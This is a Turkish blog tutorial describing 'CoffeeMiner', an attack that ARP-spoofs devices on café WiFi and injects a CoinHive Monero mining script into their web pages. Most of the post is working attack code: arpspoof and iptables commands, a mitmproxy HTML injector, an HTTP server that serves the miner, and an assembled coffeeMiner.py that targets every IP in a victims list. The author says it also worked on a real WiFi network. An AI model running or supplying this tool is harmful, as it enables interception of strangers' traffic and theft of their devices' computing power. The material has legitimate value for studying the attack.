MITM saldırısı ile WIFI ağlarında kripto para kazıma

MITM saldırısı ile WIFI ağlarında kripto para kazıma
Ocak 08 11:26 2018 Yazıyı Yazdır

Birkaç hafta önce Starbucks hakkında bir dava görüldüğünü duymuşsunuzdur. Bu davayı bilmeyenler için içeriğinden biraz bahsedeyim. Dava, kripto para üzerineydi. Birkaç saldırganın Starbucks’a gelerek buradaki ağın içerisinde yer alan cihazların CPU ve GPU güçlerini kullanarak Mining işlemi yaptırdıkları ortaya çıktı. Bu olayın tespit edilmesinden sonra, Starbucks ile ilgili dava görülmeye başlandı. Olayın ilginç gelmesi üzerine bunu “nasıl yapılabilir?” konusunu düşünerek sizler için bu olayı yazımızda simüle edeceğiz.

Bir saldırgan olarak bir LAN’da yer alan cihazları bizim hazırladığımız bir HTML sayfasına yönlendireceğiz ve bu sayfada yer alan cihazlara kötü amaçlı javascript kodu enjekte ederek kripto para mining (kazıma) işlemi yaptıracağız. CoffeeMiner olarak adlandırdığımız şey, kafelerdeki WiFi ağlarına yapılabilen bir saldırı türüdür.

Senaryo

CoffeeMiner ile WiFi ağı (LAN) içerisinde yer alan kullanıcılar ile router arasında geçen trafiğin arasına girmek ve trafiğin bizim üzerimizden gitmesini sağlamak. Yani Man in the Middle (ortadaki adam) saldırısı.

Lab’ı Kurmaya Başlayalım

Bu senaryoyu, dizüstü bilgisayarlar ve akıllı telefonların bağlı olduğu bir WiFi ağında gerçek hayatta test ettik ve işe yaradı. Ancak bu yazı için, sanal ortamda nasıl kurulacağını daha detaylı bir şekilde göreceğiz.

Lab ortamı için VirtualBox (https://www.virtualbox.org/) kullanacağız. Siz herhangi bir sanallaştırma platformu kullanabilirsiniz.

Ben saldırı testi için Kali Linux dağıtımını kullanacağım sizlere de bunu öneririm. Fakat siz Kali gibi bu tür farklı dağıtımlarda kullanabilirsiniz.

Linux olarak 3 adet makine hazırlıyoruz.

Senaryoya göre her bir makinenin rollerini ele alalım:

  • Kurban
    • Router’a bağlanan ve sayfalarda gezinen makine olacak.
  • Saldırgan
    • CoffeeMiner’ın çalıştığı ve MITM yapacağımız makine olacak.
  • Router / Gateway
    • Normal bir Router olarak görev alacak.

Saldırı gerçekleştirildikten sonra yapı şu şekilde olacaktır:

Makinelerin her birini yapılandırmak için şu ayarları yapacağız:

  • Kurban
    • Network adaptör:
      • eth0: Host-only
    • /etc/network/interface:

auto lo

iface lo inet loopback

 

auto eth0

iface eth0 inet static

     address 10.0.2.10

     netmask 255.255.255.0

     gateway 10.0.2.15

 

  • Saldırgan
    • Network adaptör:
      • eth0: Host-only
    • /etc/network/interface:

auto lo

iface lo inet loopback

auto eth0

iface eth0 inet static

     address 10.0.2.20

     netmask 255.255.255.0

     gateway 10.0.2.15

 

  • Router / Gateway
    • Network adapter:
      • eth0: Bridged
      • eth1: Host-only
    • /etc/network/interface:

auto lo

iface lo inet loopback

auto eth0

iface eth0 inet dhcp

auto eth1

     iface eth1 inet static

     address 10.0.2.15

     netmask 255.255.255.0

 

CoffeeMiner, Koduna Başlayalım

ArpSpoofing

Öncelikle, MITM saldırısının nasıl yapıldığını anlamamız gerekir.

Wikipedia’da:

Man-in-the-middle attack (Ortadaki adam saldırısı), bir network üzerinde kurban bilgisayar ile diğer ağ araçları (yönlendirici, switch, modem ya da server gibi) arasına girerek verileri yakalama ve şifrelenmemiş verileri görebilme ilkesine dayanan bir saldırı çeşididir.

Ağ üzerinde veri paketleri serbestçe dolaşır. Özellikle broadcast olarak salınan paketler, aynı ağa bağlı tüm cihazlar tarafından görülebilir. İlkesel olarak hedefinde kendi IP’si olmayan bir paketi alan makineler, bu paketlerle ilgili herhangi bir işlem yapmamaları gerekir. Ancak istenirse bu paketlere müdahale edebilir ya da içeriğini öğrenebilirler. Aradaki adam saldırısı ağ üzerindeki paketleri yakalayarak manipüle etmek olarak özetlenebilir.

https://tr.wikipedia.org/wiki/Man-in-the-middle_attack

ARP Spoofing saldırısını gerçekleştirmek için dsniff aracını kullanacağız.

arpspoof -i interface -t ipVictim ipGateway

arpspoof -i interface -t ipGateway ipVictim

Mitmproxy

Mitmproxy, bir bilgisayardan geçen trafiği analiz etmemizi sağlayan ve o trafiğin düzenlenmesine izin veren bir yazılımdır. Bizim durumumuzda, javascript’i html sayfalarına enjekte etmek için kullanacağız.

İşlemi daha temiz yapmak için yalnızca html sayfalarına bir satırlık kod enjekte edeceğiz.

Mining Pool’a dahil edecek olan o kod:

<script src=”http://httpserverIP:8000/script.js”></script>

Injector

Kurbanın trafiğini kestikten sonra, komut dosyamızı enjekte etmeliyiz. Enjeksiyonu yapmak için mitmproxy API’ını kullanacağız:

from bs4 import BeautifulSoup

from mitmproxy import ctx, http

import argparse

 

class Injector:

     def __init__(self, path):

          self.path = path

     def response(self, flow: http.HTTPFlow) -> None:

          if self.path:

               html = BeautifulSoup(flow.response.content, “html.parser”)

               print(self.path)

               print(flow.response.headers[“content-type”])

                    if flow.response.headers[“content-type”] == ‘text/html’:

                         script = html.new_tag(

                              “script”,

                              src=self.path,

                              type=’application/javascript’)

                         html.body.insert(0, script)

                         flow.response.content = str(html).encode(“utf8”)

                         print(“Script injected.”)

def start():

     parser = argparse.ArgumentParser()

     parser.add_argument(“path”, type=str)

     args = parser.parse_args()

     return Injector(args.path)

 

HTTP Server

Gördüğümüz gibi, enjektör html dosyasına javascript kripto madencimizi çağıran bir satır ekliyor. Bu nedenle, komut dosyasını bir HTTP sunucusunda konuşlandırılmasını sağlamalıyız.

Javascript kripto madencimizin hizmet etmesi için, saldırganın makinesinde bir HTTP sunucusu oluşturacağız. Bunu yapmak için, “http.server” adlı Python kütüphanesini kullanacağız:

#!/usr/bin/env python

import http.server

import socketserver

import os

 

PORT = 8000

web_dir = os.path.join(os.path.dirname(__file__), ‘miner_script’)

os.chdir(web_dir)

Handler = http.server.SimpleHTTPRequestHandler

httpd = socketserver.TCPServer((“”, PORT), Handler)

print(“serving at port”, PORT)

httpd.serve_forever()

 

Yukarıdaki kod, kripto madencimizi istediği zaman hizmet etmeleri için çağıran basit bir HTTP sunucusudur.

Javascript madencisini, miner_script dizinine yerleştireceğiz. Şimdi ise bu iş için CoinHive javascript madencisini kullanacağız

CoinHive Crypto Miner

CoinHive, Monero (XMR) için bir javascript madencisidir. Bir web sitesine eklenebilir ve CryptoNote protokolünü temel alarak Cryptonight PoW karma algoritması ile kullanıcının CPU gücünü kullanır.

Kullanıcıların orta-uzun vadeli bir web sitesinde kaldığında CoinHive madencisi mantıklı geliyor. Örneğin, bir web sitesi için kullanıcının o sitede kalma süresi 40 saniye ve aşağısı ise bunu kullanmak pek mantıklı değil.

Bizim durumumuzda, kurbanların gitmek istediği HTML sayfalarının her birine kripto madencisi enjekte edeceğiz, Monero Mining için uzun vadeli oturumlar ile yapacağız.

Ana hedef, önceki kavramların hepsini tek bir yapıda konuşlandırmaktır.

Yapacağımız olay, ARP spoofing saldırısını gerçekleştiren CoffeeMiner komut dosyasına sahip olmak ve kurbanların HTML sayfalarına CoinHive Crypto Miner enjekte etmek için mitmproxy’yi kurmak.

Öncelikle, saldırganın makinesini bir proxy’ye dönüştürmek için ip_forwarding ve IPTABLES’ı yapılandırmamız gerekir:

echo 1 > /proc/sys/net/ipv4/ip_forward

iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 8080

Tüm kurbanlara ARP spoof gerçekleştirmek için, kurbanın IP’si olan bir “victims.txt” dosyası hazırlayacağız. Tüm kurbanlar IP’lerini okumak için IP’leri alacak ve kurbanın IP’lerinin her biri için ARPspoof’u gerçekleştiren Python kodu hazırlıyoruz.

# get gateway_ip

gateway = sys.argv[1]

print(“gateway: ” + gateway)

# get victims_ip

victims = [line.rstrip(‘\n’) for line in open(“victims.txt”)]

print(“victims:”)

print(victims)

# run the arpspoof for each victim, each one in a new console

for victim in victims:

     os.system(“xterm -e arpspoof -i eth0 -t ” + victim + ” ” + gateway + ” &”)

     os.system(“xterm -e arpspoof -i eth0 -t ” + gateway + ” ” + victim + ” &”)

ARPspoofing gerçekleştirildikten sonra, HTTP sunucusunu çalıştırmamız yeterlidir:

python3 httpServer.py

Son olarak, mitmproxy’yi injector.py ile çalıştırabiliriz:

mitmdump -s ‘injector.py http://httpserverIP:8000/script.js’

CoffeeMiner için Son Düzenlemeler

Şimdi yukarıda paylaşılan tüm kodları “coffeeMiner.py” komut dosyasında topladık:

import os

import sys

#get gateway_ip (router)

gateway = sys.argv[1]

print(“gateway: ” + gateway)

# get victims_ip

victims = [line.rstrip(‘\n’) for line in open(“victims.txt”)]

print(“victims:”)

print(victims)

# configure routing (IPTABLES)

os.system(“echo 1 > /proc/sys/net/ipv4/ip_forward”)

os.system(“iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE”)

os.system(“iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 8080”)

os.system(“iptables -t nat -A PREROUTING -p tcp –destination-port 443 -j REDIRECT –to-port 8080”)

# run the arpspoof for each victim, each one in a new console

for victim in victims:

     os.system(“xterm -e arpspoof -i eth0 -t ” + victim + ” ” + gateway + ” &”)

     os.system(“xterm -e arpspoof -i eth0 -t ” + gateway + ” ” + victim + ” &”)

# start the http server for serving the script.js, in a new console

os.system(“xterm -hold -e ‘python3 httpServer.py’ &”)

# start the mitmproxy

os.system(“~/.local/bin/mitmdump -s ‘injector.py http://10.0.2.20:8000/script.js‘ -T”)

 

ve birde “injector.py” komut dosyasına eklediklerimiz:

from bs4 import BeautifulSoup

from mitmproxy import ctx, http

import argparse

class Injector:

     def __init__(self, path):

          self.path = path

     def response(self, flow: http.HTTPFlow) -> None:

          if self.path:

               html = BeautifulSoup(flow.response.content, “html.parser”)

               print(self.path)

               print(flow.response.headers[“content-type”])

                    if flow.response.headers[“content-type”] == ‘text/html’:

                         print(flow.response.headers[“content-type”])

                         script = html.new_tag(

                              “script”,

                              src=self.path,

                              type=’application/javascript’)

                         html.body.insert(0, script)

                         flow.response.content = str(html).encode(“utf8”)

                         print(“Script injected.”)

def start():

     parser = argparse.ArgumentParser()

     parser.add_argument(“path”, type=str)

     args = parser.parse_args()

     return Injector(args.path)

Çalıştırmak için yapmamız gereken sadece:

python3 coffeeMiner.py RouterIP

Demo

Demoyu yapmak için, yukarıda açıkladığımız VirtualBox Lab’ını kurmuştuk.

Saldırıyı manuel olarak yapmak istiyorsak, aşağıdaki terminallere ihtiyacımız olacak:

Ardından, ARP spoofing saldırısı yapıldıktan sonra enjektör ve HTTP sunucu hazır olduğunda, kurbanın makinesine gidebilir ve bir web sitesine göz atabiliriz. Kurbanın trafiği saldırganın makinesinden geçecek ve enjektörü aktif edecektir.

Kurbanın görüntülediği sayfalarında, saldırganın enjekte ettiği html kod satırları bulunur.

Video

Aşağıdaki videoda, coffeeMiner.py komut dosyasını kullanarak yapılan saldırının tamamını görebilirsiniz:

Gerçek WiFi ağında yapıldığında nasıl olduğunu buradan görebilirsiniz:

daha fazla yazı

Yazar Hakkında

Furkan Sayım
Furkan Sayım

Siber Güvenlik Araştırmacısı olmaya çalışan bir Developer

Daha Fazla Yazı
yorum yapın

Yorum Yok

Henüz yorum yapılmamış

İlk yorumu siz yapabilirsiniz.

Yorum ekleyin

Bilgileriniz güvende! E-posta adresiniz yayınlanmayacak. Diğer kişisel bilgileriniz üçüncü partilerle paylaşılmayacak.
* işaretli alanlar zorunludur.

Time limit is exhausted. Please reload CAPTCHA.